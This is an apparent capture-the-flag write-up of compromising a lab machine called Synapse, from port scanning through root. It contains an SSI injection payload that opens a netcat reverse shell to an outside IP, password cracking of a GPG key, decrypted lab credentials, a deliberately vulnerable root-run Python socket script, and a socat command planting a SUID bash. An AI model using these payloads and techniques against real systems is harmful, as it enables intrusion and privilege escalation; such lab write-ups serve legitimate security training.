Synapse

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 3000 -Pn 192.168.201.149
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-15 12:30 +08
Nmap scan report for 192.168.201.149
Host is up (0.17s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

SMB + FTP Rabbit Holes

FTP doesn't accept anonymous logins, and SMB with no credentials doesn't show us any share that we can access:

$ smbmap -H 192.168.201.149
[+] IP: 192.168.201.149:445     Name: 192.168.201.149                                   
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        IPC$                                                    NO ACCESS       IPC Service (Samba 4.9.5-Debian)

It is thus likely that there's a web exploit, so we can start proxying traffic through Burpsuite.

Web Enum -> SSI Injection

Port 80 was running a custom dashboard:

The File Manager was running elFinder, but we cannot access it since we need administrative access:

I checked the user tab, and found that the user was called mindsflee:

All of options were under construction, except for the one on the right most.

From my enumeration, this seems to be the most vulnerable point. I attempted to upload some PHP webshells, but it seems only images are allowed.

There was one weird part, which was the url=inspect.shtml portion, since I had never seen that before. Searching for shtml gives us results for Server Side Includes (SSI).

Hacktricks has done a page on SSI Injection that we could try.

We can try some of the payloads:

If we follow the redirect, we get this:

We now have RCE on the machine, and we can easily get a reverse shell using this:

<!--#exec cmd='nc -c bash 192.168.45.189 21' ->

Privilege Escalation

GPG Creds -> Mindsflee Shell

Within the /home/mindsflee directory, there are some files of interest:

www-data@synapse:/home/mindsflee$ ls -la
total 32
drwxr-xr-x 3 mindsflee mindsflee 4096 Jun 10  2021 .
drwxr-xr-x 3 root      root      4096 Jun 10  2021 ..
lrwxrwxrwx 1 root      root         9 Jun 10  2021 .bash_history -> /dev/null
-rw-r--r-- 1 mindsflee mindsflee  220 Jun 10  2021 .bash_logout
-rw-r--r-- 1 mindsflee mindsflee 3526 Jun 10  2021 .bashrc
drwxr-xr-x 2 root      root      4096 Jun 14  2021 .gnupg
-rw-r--r-- 1 mindsflee mindsflee  807 Jun 10  2021 .profile
-rw-r--r-- 1 mindsflee mindsflee   33 Jul 15 00:29 local.txt
-rw-r--r-- 1 root      root      2058 Jan  3  2021 synapse_commander.py

www-data@synapse:/home/mindsflee/.gnupg$ ls -la
total 20
drwxr-xr-x 2 root      root      4096 Jun 14  2021 .
drwxr-xr-x 3 mindsflee mindsflee 4096 Jun 10  2021 ..
-rw-r--r-- 1 mindsflee mindsflee 5180 Jun 14  2021 creds.priv
-rw-r--r-- 1 mindsflee mindsflee  124 Jun 14  2021 creds.txt.gpg

The .gnupg file contains some creds. Download these files back to our machine, and we can then try to decrypt it. Using gpg, we can attempt to import this key but it requires a passphrase.

We can crack this using gpg2john and john:

$ gpg2john creds.priv > gpg_hash
$ john --show gpg_hash                                     
mindsflee:qwertyuiop:::mindsflee::creds.priv

Using this, we can then import the key using gpg and decrypt the file:

$ gpg --import creds.priv       
gpg: key 8ECE3C203E92BE79: "mindsflee" not changed
gpg: key 8ECE3C203E92BE79: secret key imported
gpg: Total number processed: 1
gpg:              unchanged: 1
gpg:       secret keys read: 1
gpg:  secret keys unchanged: 1

$ gpg --output decrypted --decrypt creds.txt.gpg
gpg: AES256.CFB encrypted data
gpg: encrypted with 1 passphrase

$ cat decrypted                           
user: mindsflee
password: m1ndsfl33w1llc4tchy0u?

Using this password, we can su to mindsflee.

Sudo Privileges -> Socket Injection

The mindsflee user can use sudo with the Python script we found:

[sudo] password for mindsflee: 
Matching Defaults entries for mindsflee on synapse:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User mindsflee may run the following commands on synapse:
    (root) /usr/bin/python /home/mindsflee/synapse_commander.py

Here's the content of the script:

import socket
import os, os.path, sys
import time
from collections import deque    





print("""\
  
 _____ __ __ _____ _____ _____ _____ _____    _____ _____ _____ _____ _____ _____ ____  _____ _____ 
|   __|  |  |   | |  _  |  _  |   __|   __|  |     |     |     |     |  _  |   | |    \|   __| __  |
|__   |_   _| | | |     |   __|__   |   __|  |   --|  |  | | | | | | |     | | | |  |  |   __|    -|
|_____| |_| |_|___|__|__|__|  |_____|_____|  |_____|_____|_|_|_|_|_|_|__|__|_|___|____/|_____|__|__|


 
  """)

print("Focus your approach with a system designed for single network port access.")
print ("With Synapse Commander, a single arm delivers three multi-jointed instruments")
print("and a fully wristed 3DHD camera for visibility and control in narrow surgical spaces.")
print("Streamlined setup, multiple control modes and a dynamic statistics display are included")
print
print("1 - Access to ARM management")
print("2 - Enable 3DHD camera")
print("3 - Settings")
print("4 - Reboot the system")
print
instruction = raw_input("Synapse Instruction:")

if instruction == "1":
    
    print ("\nARM MANAGEMENT ENABLED")
    os.system("touch 2343432445467676")
elif instruction == "2":
    
    print ("\n3DHD CAMERA ENABLED")
    os.system("touch 5344225453244546")
elif instruction == "3":
    
    print ("\nACCESS TO SETTINGS CONFIGURATION")
    os.system("touch 77756563456244546")
elif instruction == "4":
    
    print ("\nSYSTEM REBOOTED")
    os.execl(sys.executable, sys.executable, *sys.argv)

else:
    os.execl(sys.executable, sys.executable, *sys.argv)



if os.path.exists("/tmp/synapse_commander.s"):
  os.remove("/tmp/synapse_commander.s")    

server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/tmp/synapse_commander.s")
os.system("chmod o+w /tmp/synapse_commander.s")
while True:
  server.listen(1)
  conn, addr = server.accept()
  datagram = conn.recv(1024)
  if datagram:
    print(datagram)
    os.system(datagram)
    conn.close()

This program seems to open a Socket as root using the configuration of synapse_commander.s after we input any number from 1-3, since option 4 and all others would just re-run the script.

Again, Hacktricks has a page for this:

In one SSH session, run the Python script and input '1'. In another SSH session, run this command:

echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/synapse_commander.s

When we enter that command, the script starts waiting for data to be sent in, which it passes to os.system(datagram). This would result in RCE as root:

We can then easily get a root shell:

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